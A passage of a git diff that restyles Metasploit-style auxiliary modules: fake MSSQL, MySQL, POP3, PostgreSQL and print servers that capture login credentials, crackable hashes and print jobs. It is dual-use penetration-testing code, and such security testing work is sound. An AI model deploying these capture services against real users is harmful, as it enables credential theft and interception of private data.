File.open(datastore['JOHNPWFILE'] + '_netlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - lm_hash ? lm_hash : "0" * 32, - lm_cli_challenge ? lm_cli_challenge : "0" * 16 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + lm_hash || '0' * 32, + lm_cli_challenge || '0' * 16 + ].join(':').gsub(/\n/, '\\n') ) fd.close - #ntlmv2 - fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab") + # ntlmv2 + fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2', 'ab') fd.puts( [ - user,"", - domain ? domain : "NULL", - @challenge.unpack("H*")[0], - nt_hash ? nt_hash : "0" * 32, - nt_cli_challenge ? nt_cli_challenge : "0" * 160 - ].join(":").gsub(/\n/, "\\n") + user, '', + domain || 'NULL', + @challenge.unpack('H*')[0], + nt_hash || '0' * 32, + nt_cli_challenge || '0' * 160 + ].join(':').gsub(/\n/, '\\n') ) fd.close end @@ -349,35 +359,37 @@ def mssql_get_hash(arg = {}) def mssql_parse_ntlmsspi(data, info) start = data.index('NTLMSSP') if start - data.slice!(0,start) + data.slice!(0, start) else - print_error("Failed to find NTLMSSP authentication blob") + print_error('Failed to find NTLMSSP authentication blob') return end - ntlm_message = NTLM_MESSAGE::parse(data) + ntlm_message = NTLM_MESSAGE.parse(data) case ntlm_message when NTLM_MESSAGE::Type3 - lm_len = ntlm_message.lm_response.length # Always 24 + ntlm_message.lm_response.length # Always 24 nt_len = ntlm_message.ntlm_response.length - if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session - arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, - :lm_hash => ntlm_message.lm_response.unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0] + if nt_len == 24 # lmv1/ntlmv1 or ntlm2_session + arg = { + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + lm_hash: ntlm_message.lm_response.unpack('H*')[0], + nt_hash: ntlm_message.ntlm_response.unpack('H*')[0] } - if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32 + if @s_ntlm_esn && arg[:lm_hash][16, 32] == '0' * 32 arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE end # if the length of the ntlm response is not 24 then it will be bigger and represent # a ntlmv2 response - elsif nt_len > 24 #lmv2/ntlmv2 - arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, - :lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0], - :lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0], - :nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0], - :nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] + elsif nt_len > 24 # lmv2/ntlmv2 + arg = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: ntlm_message.lm_response[0, 16].unpack('H*')[0], + lm_cli_challenge: ntlm_message.lm_response[16, 8].unpack('H*')[0], + nt_hash: ntlm_message.ntlm_response[0, 16].unpack('H*')[0], + nt_cli_challenge: ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0] } elsif nt_len == 0 print_status("Empty hash from #{smb[:name]} captured, ignoring ... ") @@ -388,21 +400,21 @@ def mssql_parse_ntlmsspi(data, info) end arg[:user] = ntlm_message.user - arg[:domain] = ntlm_message.domain + arg[:domain] = ntlm_message.domain arg[:ip] = info[:ip] arg[:host] = info[:ip] begin mssql_get_hash(arg) - rescue ::Exception => e + rescue StandardError => e print_error("Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}") end else - info[:errors] << "Unsupported NTLM authentication message type" + info[:errors] << 'Unsupported NTLM authentication message type' end # slice of remainder - data.slice!(0,data.length) + data.slice!(0, data.length) end # @@ -410,9 +422,10 @@ def mssql_parse_ntlmsspi(data, info) # def mssql_parse_reply(data, info) info[:errors] = [] - return if not data - until data.empty? or ( info[:errors] and not info[:errors].empty? ) - token = data.slice!(0,1).unpack('C')[0] + return if !data + + until data.empty? || (info[:errors] && !info[:errors].empty?) + token = data.slice!(0, 1).unpack('C')[0] case token when Constants::TDS_MSG_LOGIN mssql_parse_login(data, info) @@ -431,7 +444,7 @@ def mssql_parse_reply(data, info) end # Sends an error message to the MSSQL client - def mssql_send_error(c, msg) + def mssql_send_error(client, msg) data = [ Constants::TDS_MSG_RESPONSE, 1, # status @@ -444,18 +457,18 @@ def mssql_send_error(c, msg) 18456, # SQL Error number 1, # state: 1 14, # severity: 14 - msg.length, # error msg length + msg.length, # error msg length 0, - Rex::Text::to_unicode(msg), + Rex::Text.to_unicode(msg), 0, # server name length 0, # process name length 0, # line number - "fd0200000000000000" - ].pack("CCnnCCCvVCCCCA*CCnH*") - c.put data + 'fd0200000000000000' + ].pack('CCnnCCCvVCCCCA*CCnH*') + client.put data end - def mssql_send_ntlm_challenge(c, info) + def mssql_send_ntlm_challenge(client, _info) win_domain = Rex::Text.to_unicode(@domain_name.upcase) win_name = Rex::Text.to_unicode(@domain_name.upcase) dns_domain = Rex::Text.to_unicode(@domain_name.downcase) @@ -464,15 +477,15 @@ def mssql_send_ntlm_challenge(c, info) if @s_ntlm_esn sb_flag = 0xe28a8215 # ntlm2 else - sb_flag = 0xe2828215 #no ntlm2 + sb_flag = 0xe2828215 # no ntlm2 end - securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( win_domain, - win_name, - dns_domain, - dns_name, - @challenge, - sb_flag) + securityblob = NTLM_UTILS.make_ntlmssp_blob_chall(win_domain, + win_name, + dns_domain, + dns_name, + @challenge, + sb_flag) data = [ Constants::TDS_MSG_RESPONSE, @@ -481,33 +494,33 @@ def mssql_send_ntlm_challenge(c, info) 0x0000, # channel 0x01, # packetno 0x00, # window - Constants::TDS_TOKEN_AUTH, # token: authentication + Constants::TDS_TOKEN_AUTH, # token: authentication securityblob.length, # length securityblob - ].pack("CCnnCCCvA*") - c.put data + ].pack('CCnnCCCvA*') + client.put data end - def mssql_send_prelogin_response(c, info) + def mssql_send_prelogin_response(client, _info) data = [ Constants::TDS_MSG_RESPONSE, 1, # status 0x002b, # length - "0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000" - ].pack("CCnH*") - c.put data + '0000010000001a00060100200001020021000103002200000400220001ff0a3206510000020000' + ].pack('CCnH*') + client.put data end - def on_client_data(c) - info = {:errors => [], :ip => @state[c][:ip]} - data = c.get_once - return if not data + def on_client_data(client) + info = { errors: [], ip: @state[client][:ip] } + data = client.get_once + return if !data info = mssql_parse_reply(data, info) - if(info[:errors] and not info[:errors].empty?) - print_error("#{info[:errors]}") - c.close + if info[:errors] && !info[:errors].empty? + print_error(info[:errors].to_s) + client.close return end @@ -517,34 +530,34 @@ def on_client_data(c) # password authentication. case info[:type] when Constants::TDS_MSG_PRELOGIN - mssql_send_prelogin_response(c, info) + mssql_send_prelogin_response(client, info) when Constants::TDS_MSG_SSPI - mssql_send_error(c, "Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.") + mssql_send_error(client, 'Error: Login failed. The login is from an untrusted domain and cannot be used with Windows authentication.') when Constants::TDS_MSG_LOGIN if info[:isntlm?] == true - mssql_send_ntlm_challenge(c, info) - elsif info[:user] and info[:pass] + mssql_send_ntlm_challenge(client, info) + elsif info[:user] && info[:pass] report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], sname: 'mssql_client', user: info[:user], password: info[:pass], type: :password ) - print_status("MSSQL LOGIN #{@state[c][:name]} #{info[:user]} / #{info[:pass]}") - mssql_send_error(c, "Login failed for user '#{info[:user]}'.") + print_status("MSSQL LOGIN #{@state[client][:name]} #{info[:user]} / #{info[:pass]}") + mssql_send_error(client, "Login failed for user '#{info[:user]}'.") - c.close + client.close end end end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end def report_cred(opts) diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index 9b6706c21b3d..6266b0451be1 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -9,27 +9,28 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: MySQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: MySQL', + 'Description' => %q{ This module provides a fake MySQL service that is designed to capture authentication credentials. It captures challenge and response pairs that can be supplied to Cain or JtR for cracking. }, - 'Author' => 'Patrik Karlsson ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run MySQL capture server' ]], + 'Author' => 'Patrik Karlsson ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run MySQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture' ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 3306 ]), - OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "112233445566778899AABBCCDDEEFF1122334455" ]), - OptString.new('SRVVERSION', [ true, "The server version to report in the greeting response", "5.5.16" ]), - OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 3306 ]), + OptString.new('CHALLENGE', [ true, 'The 16 byte challenge', '112233445566778899AABBCCDDEEFF1122334455' ]), + OptString.new('SRVVERSION', [ true, 'The server version to report in the greeting response', '5.5.16' ]), + OptString.new('CAINPWFILE', [ false, 'The local filename to store the hashes in Cain&Abel format', nil ]), + OptString.new('JOHNPWFILE', [ false, 'The prefix to the local filename to store the hashes in JOHN format', nil ]), + ] + ) end def setup @@ -39,89 +40,90 @@ def setup def run if datastore['CHALLENGE'].to_s =~ /^([a-fA-F1-9]{40})$/ - @challenge = [ datastore['CHALLENGE'] ].pack("H*") + @challenge = [ datastore['CHALLENGE'] ].pack('H*') else - print_error("CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455") + print_error('CHALLENGE syntax must match 112233445566778899AABBCCDDEEFF1122334455') return end @version = datastore['SRVVERSION'] - exploit() + exploit end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport } - mysql_send_greeting(c) + mysql_send_greeting(client) end - def mysql_send_greeting(c) + def mysql_send_greeting(client) # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html length = 68 + @version.length packetno = 0 chall = String.new(@challenge) data = [ - ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + (length & 0x00FFFFFF) + (packetno << 24), # length + packet no 10, # protocol version: 10e @version, # server version: 5.5.16 (unless changed) - rand(9999) + 1, # thread id - chall.slice!(0,8), # the first 8 bytes of the challenge + rand(1..9999), # thread id + chall.slice!(0, 8), # the first 8 bytes of the challenge 0x00, # filler 0xfff7, # server capabilities 0x21, # server language: UTF8 0x0002, # server status - "0f801500000000000000000000", # filler - chall.slice!(0,12), - "mysql_native_password" - ].pack("VCZ*VA*CnCvH*Z*Z*") - c.put data + '0f801500000000000000000000', # filler + chall.slice!(0, 12), + 'mysql_native_password' + ].pack('VCZ*VA*CnCvH*Z*Z*') + client.put data end def mysql_process_login(data, info) - length = ( data.slice(0,4).unpack("V")[0] & 0x00FFFFFF ) - packetno = ( data.slice!(0,4).unpack("V")[0] & 0xFF000000 ) >> 24 - flags = data.slice!(0,2).unpack("v")[0] - if ( flags & 0x8000 ) != 0x8000 - info[:errors] << "Unsupported protocol detected" + (data.slice(0, 4).unpack('V')[0] & 0x00FFFFFF) + (data.slice!(0, 4).unpack('V')[0] & 0xFF000000) >> 24 + flags = data.slice!(0, 2).unpack('v')[0] + if (flags & 0x8000) != 0x8000 + info[:errors] << 'Unsupported protocol detected' return info end # we're dealing with the 4.1+ protocol - extflags = data.slice!(0,2).unpack("v")[0] - maxpacket= data.slice!(0,4).unpack("N")[0] - charset = data.slice!(0,1).unpack("C")[0] + data.slice!(0, 2).unpack('v')[0] + data.slice!(0, 4).unpack('N')[0] + data.slice!(0, 1).unpack('C')[0] # slice away 23 bytes of filler - data.slice!(0,23) + data.slice!(0, 23) - info[:username] = data.slice!(0, data.index("\x00")+1).unpack("Z*")[0] - response_len = data.slice!(0,1).unpack("C")[0] + info[:username] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] + response_len = data.slice!(0, 1).unpack('C')[0] if response_len != 20 return end - info[:response] = data.slice!(0, 20).unpack("A*")[0] - if ( flags & 0x0008 ) == 0x0008 - info[:database] = data.slice!(0, data.index("\x00")).unpack("A*")[0] + info[:response] = data.slice!(0, 20).unpack('A*')[0] + + if (flags & 0x0008) == 0x0008 + info[:database] = data.slice!(0, data.index("\x00")).unpack('A*')[0] end info end - def mysql_send_error(c, msg) + def mysql_send_error(client, msg) length = 9 + msg.length packetno = 2 data = [ - ( length & 0x00FFFFFF ) + ( packetno << 24 ), # length + packet no + (length & 0x00FFFFFF) + (packetno << 24), # length + packet no 0xFF, # field count, always: ff 1045, # error code 0x23, # sqlstate marker, always '#' - "28000", # sqlstate + '28000', # sqlstate msg - ].pack("VCvCA*A*") - c.put data + ].pack('VCvCA*A*') + client.put data end def report_cred(opts) @@ -150,59 +152,59 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - info = { :errors => [] } - data = c.get_once - return if not data + def on_client_data(client) + info = { errors: [] } + data = client.get_once + return if !data mysql_process_login(data, info) - if info[:errors] and not info[:errors].empty? - print_error("#{@state[c][:name]} #{info[:errors].join("\n")}") - elsif info[:username] and info[:response] - mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: YES)") + if info[:errors] && !info[:errors].empty? + print_error("#{@state[client][:name]} #{info[:errors].join("\n")}") + elsif info[:username] && info[:response] + mysql_send_error(client, "Access denied for user '#{info[:username]}'@'#{client.peerhost}' (using password: YES)") if info[:database] - print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}") + print_good("#{@state[client][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}; Database: #{info[:database]}") else - print_good("#{@state[c][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") + print_good("#{@state[client][:name]} - User: #{info[:username]}; Challenge: #{@challenge.unpack('H*')[0]}; Response: #{info[:response].unpack('H*')[0]}") end - hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack("H*")[0]}$#{info[:response].unpack('H*')[0]}" + hash_line = "#{info[:username]}:$mysql$#{@challenge.unpack('H*')[0]}$#{info[:response].unpack('H*')[0]}" report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'mysql_client', user: info[:username], password: hash_line, - proof: info[:database] ? info[:database] : hash_line + proof: info[:database] || hash_line ) - if (datastore['CAINPWFILE']) - fd = ::File.open(datastore['CAINPWFILE'], "ab") + if datastore['CAINPWFILE'] + fd = ::File.open(datastore['CAINPWFILE'], 'ab') fd.puts( - [ - info[:username], - "NULL", - info[:response].unpack('H*')[0], - @challenge.unpack('H*')[0], - "SHA1" - ].join("\t").gsub(/\n/, "\\n") + [ + info[:username], + 'NULL', + info[:response].unpack('H*')[0], + @challenge.unpack('H*')[0], + 'SHA1' + ].join("\t").gsub(/\n/, '\\n') ) fd.close end - if(datastore['JOHNPWFILE']) - john_hash_line = "#{info[:username]}:$mysqlna$#{@challenge.unpack("H*")[0]}*#{info[:response].unpack('H*')[0]}" - fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna' , "ab") + if datastore['JOHNPWFILE'] + john_hash_line = "#{info[:username]}:$mysqlna$#{@challenge.unpack('H*')[0]}*#{info[:response].unpack('H*')[0]}" + fd = ::File.open(datastore['JOHNPWFILE'] + '_mysqlna', 'ab') fd.puts john_hash_line fd.close end else - mysql_send_error(c, "Access denied for user '#{info[:username]}'@'#{c.peerhost}' (using password: NO)") + mysql_send_error(client, "Access denied for user '#{info[:username]}'@'#{client.peerhost}' (using password: NO)") end - c.close + client.close end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 9d678de94a47..305318c34f1b 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -7,31 +7,34 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Msf::Auxiliary::Report - def initialize super( - 'Name' => 'Authentication Capture: POP3', - 'Description' => %q{ + 'Name' => 'Authentication Capture: POP3', + 'Description' => %q{ This module provides a fake POP3 service that is designed to capture authentication credentials. }, - 'Author' => ['ddz', 'hdm'], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Capture' , 'Description' => 'Run POP3 capture server' ] - ], - 'PassiveActions' => - [ - 'Capture' - ], - 'DefaultAction' => 'Capture' + 'Author' => ['ddz', 'hdm'], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run POP3 capture server' } ] + ], + 'PassiveActions' => [ + 'Capture' + ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ]) - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 110 ]) + ] + ) end def setup @@ -42,12 +45,12 @@ def setup def run @myhost = datastore['SRVHOST'] @myport = datastore['SRVPORT'] - exploit() + exploit end - def on_client_connect(c) - @state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil} - c.put "+OK\r\n" + def on_client_connect(client) + @state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil } + client.put "+OK\r\n" end def report_cred(opts) @@ -76,62 +79,62 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_data(c) - data = c.get_once - return if not data - cmd,arg = data.strip.split(/\s+/, 2) - arg ||= "" + def on_client_data(client) + data = client.get_once + return if !data - if(cmd.upcase == "USER") - @state[c][:user] = arg - c.put "+OK\r\n" + cmd, arg = data.strip.split(/\s+/, 2) + arg ||= '' + + if (cmd.upcase == 'USER') + @state[client][:user] = arg + client.put "+OK\r\n" return end - if(cmd.upcase == "PASS") - @state[c][:pass] = arg + if (cmd.upcase == 'PASS') + @state[client][:pass] = arg report_cred( - ip: @state[c][:ip], + ip: @state[client][:ip], port: @myport, service_name: 'pop3', - user: @state[c][:user], - password: @state[c][:pass], + user: @state[client][:user], + password: @state[client][:pass], proof: arg ) - print_good("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}") - @state[c][:pass] = data.strip - c.put "+OK\r\n" + print_good("POP3 LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}") + @state[client][:pass] = data.strip + client.put "+OK\r\n" return end - if(cmd.upcase == "STAT") - c.put "+OK 0 0\r\n" + if (cmd.upcase == 'STAT') + client.put "+OK 0 0\r\n" return end - if(cmd.upcase == "CAPA") - c.put "-ERR No Extended Capabilities\r\n" + if (cmd.upcase == 'CAPA') + client.put "-ERR No Extended Capabilities\r\n" return end - if(cmd.upcase == "LIST") - c.put "+OK 0 Messages\r\n" + if (cmd.upcase == 'LIST') + client.put "+OK 0 Messages\r\n" return end - if(cmd.upcase == "QUIT" || cmd.upcase == "RSET" || cmd.upcase == "DELE") - c.put "+OK\r\n" + if cmd.upcase == 'QUIT' || cmd.upcase == 'RSET' || cmd.upcase == 'DELE' + client.put "+OK\r\n" return end - print_status("POP3 UNKNOWN CMD #{@state[c][:name]} \"#{data.strip}\"") - c.put "+OK\r\n" + print_status("POP3 UNKNOWN CMD #{@state[client][:name]} \"#{data.strip}\"") + client.put "+OK\r\n" end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end - end diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index 62d9a125a19c..35d684707046 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -9,21 +9,27 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Authentication Capture: PostgreSQL', - 'Description' => %q{ + 'Name' => 'Authentication Capture: PostgreSQL', + 'Description' => %q{ This module provides a fake PostgreSQL service that is designed to capture clear-text authentication credentials.}, - 'Author' => 'Dhiru Kholia ', - 'License' => MSF_LICENSE, - 'Actions' => [[ 'Capture', 'Description' => 'Run PostgreSQL capture server' ]], + 'Author' => 'Dhiru Kholia ', + 'License' => MSF_LICENSE, + 'Actions' => [[ 'Capture', { 'Description' => 'Run PostgreSQL capture server' } ]], 'PassiveActions' => [ 'Capture' ], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]), - ]) + OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 5432 ]), + ] + ) end # This module is based on MySQL capture module by Patrik Karlsson. @@ -35,7 +41,7 @@ def setup end def run - exploit() + exploit end def report_cred(opts) @@ -64,68 +70,68 @@ def report_cred(opts) create_credential_login(login_data) end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport } - @state[c]["status"] = :init + @state[client]['status'] = :init end - def on_client_data(c) - data = c.get_once - return if not data - length = data.slice(0, 4).unpack("N")[0] - if length == 8 and @state[c]["status"] == :init + def on_client_data(client) + data = client.get_once + return if !data + + length = data.slice(0, 4).unpack('N')[0] + if (length == 8) && (@state[client]['status'] == :init) # SSL request - c.put 'N' - @state[c]["status"] = :send_auth_type - elsif @state[c]["status"] == :send_auth_type + client.put 'N' + @state[client]['status'] = :send_auth_type + elsif @state[client]['status'] == :send_auth_type # Startup message - data.slice!(0, 4).unpack("N")[0] # skip over length - data.slice!(0, 4).unpack("N")[0] # skip over protocol - sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack("C*") - c.put sdata + data.slice!(0, 4).unpack('N')[0] # skip over length + data.slice!(0, 4).unpack('N')[0] # skip over protocol + sdata = [ 0x52, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x03 ].pack('C*') + client.put sdata data.slice!(0, 5) # skip over "user\x00" - @state[c][:username] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] + @state[client][:username] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] data.slice!(0, 9) # skip over "database\x00" - @state[c][:database] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] - @state[c]["status"] = :pwn - elsif @state[c]["status"] == :pwn and data[0] == 'p' + @state[client][:database] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] + @state[client]['status'] = :pwn + elsif (@state[client]['status'] == :pwn) && (data[0] == 'p') # Password message - data.slice!(0, 5).unpack("N")[0] # skip over length - @state[c][:password] = data.slice!(0, data.index("\x00") + 1).unpack("Z*")[0] + data.slice!(0, 5).unpack('N')[0] # skip over length + @state[client][:password] = data.slice!(0, data.index("\x00") + 1).unpack('Z*')[0] report_cred( - ip: c.peerhost, + ip: client.peerhost, port: datastore['SRVPORT'], service_name: 'psql_client', - user: @state[c][:username], - password: @state[c][:password], - proof: @state[c][:database] + user: @state[client][:username], + password: @state[client][:password], + proof: @state[client][:database] ) - print_good("PostgreSQL LOGIN #{@state[c][:name]} #{@state[c][:username]} / #{@state[c][:password]} / #{@state[c][:database]}") + print_good("PostgreSQL LOGIN #{@state[client][:name]} #{@state[client][:username]} / #{@state[client][:password]} / #{@state[client][:database]}") # send failure message - sdata = [ 0x45, 97 - 8 + @state[c][:username].length].pack("CN") - sdata << "SFATAL" + sdata = [ 0x45, 97 - 8 + @state[client][:username].length].pack('CN') + sdata << 'SFATAL' sdata << "\x00" - sdata << "C28P01" + sdata << 'C28P01' sdata << "\x00" - sdata << "Mpassword authentication failed for user \"#{@state[c][:username]}\"" + sdata << "Mpassword authentication failed for user \"#{@state[client][:username]}\"" sdata << "\x00" - sdata << "Fauth.c" + sdata << 'Fauth.c' sdata << "\x00" - sdata << "L302" + sdata << 'L302' sdata << "\x00" - sdata << "Rauth_failed" + sdata << 'Rauth_failed' sdata << "\x00\x00" - c.put sdata - c.close + client.put sdata + client.close end - end - def on_client_close(c) - @state.delete(c) + def on_client_close(client) + @state.delete(client) end end diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index 0f14d9297220..dab8157bf87e 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Printjob Capture Service', + 'Name' => 'Printjob Capture Service', 'Description' => %q{ This module is designed to listen for PJL or PostScript print jobs. Once a print job is detected it is saved to loot. The @@ -20,28 +20,31 @@ def initialize Note, this module does not yet support IPP connections. }, - 'Author' => ['Chris John Riley', 'todb'], - 'License' => MSF_LICENSE, - 'References' => - [ + 'Author' => ['Chris John Riley', 'todb'], + 'License' => MSF_LICENSE, + 'References' => [ # Based on previous prn-2-me tool (Python) ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'], # Readers for resulting PCL/PC ['URL', 'http://www.ghostscript.com'] ], - 'Actions' => [[ 'Capture', 'Description' => 'Run print job capture server' ]], + 'Actions' => [[ 'Capture', { 'Description' => 'Run print job capture server' } ]], 'PassiveActions' => ['Capture'], - 'DefaultAction' => 'Capture' + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ - OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]), - OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on', 9100 ]), + OptBool.new('FORWARD', [ true, 'Forward print jobs to another host', false ]), OptAddress.new('RHOST', [ false, 'Forward to remote host' ]), - OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]), + OptPort.new('RPORT', [ false, 'Forward to remote port', 9100 ]), OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]), - OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP - + OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP ]) deregister_options('SSL', 'SSLVersion', 'SSLCert', 'RHOSTS') @@ -52,7 +55,6 @@ def setup @state = {} begin - @srvhost = datastore['SRVHOST'] @srvport = datastore['SRVPORT'] || 9100 @mode = datastore['MODE'].upcase || 'RAW' @@ -60,171 +62,169 @@ def setup @forward = datastore['FORWARD'] @rport = datastore['RPORT'] || 9100 if datastore['RHOST'].nil? - fail_with(Failure::BadConfig, "Cannot forward without a valid RHOST") + fail_with(Failure::BadConfig, 'Cannot forward without a valid RHOST') end @rhost = datastore['RHOST'] print_status("Forwarding all printjobs to #{@rhost}:#{@rport}") end - if not @mode == 'RAW' and not @forward - fail_with(Failure::BadConfig, "Cannot intercept LPR/IPP without a forwarding target") + if (@mode != 'RAW') && !@forward + fail_with(Failure::BadConfig, 'Cannot intercept LPR/IPP without a forwarding target') end @metadata = datastore['METADATA'] - print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode]) + print_status("Starting Print Server on #{@srvhost}:#{@srvport} - #{@mode} mode") - exploit() - - rescue => ex - print_error(ex.message) + exploit + rescue StandardError => e + print_error(e.message) end end - def on_client_connect(c) - @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :user => nil, - :pass => nil, - :data => '', - :raw_data => '', - :prn_title => '', - :prn_type => '', - :prn_metadata => {}, - :meta_output => [] + def on_client_connect(client) + @state[client] = { + name: "#{client.peerhost}:#{client.peerport}", + ip: client.peerhost, + port: client.peerport, + user: nil, + pass: nil, + data: '', + raw_data: '', + prn_title: '', + prn_type: '', + prn_metadata: {}, + meta_output: [] } - print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}") + print_status("#{name}: Client connection from #{client.peerhost}:#{client.peerport}") end - def on_client_data(c) - curr_data = c.get_once - @state[c][:data] << curr_data + def on_client_data(client) + curr_data = client.get_once + @state[client][:data] << curr_data if @mode == 'RAW' # RAW Mode - no further actions - elsif @mode == 'LPR' or @mode == 'IPP' + elsif (@mode == 'LPR') || (@mode == 'IPP') response = stream_data(curr_data) - c.put(response) + client.put(response) end - if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a' - print_status("LPR Jobcmd \"%s\" received" % 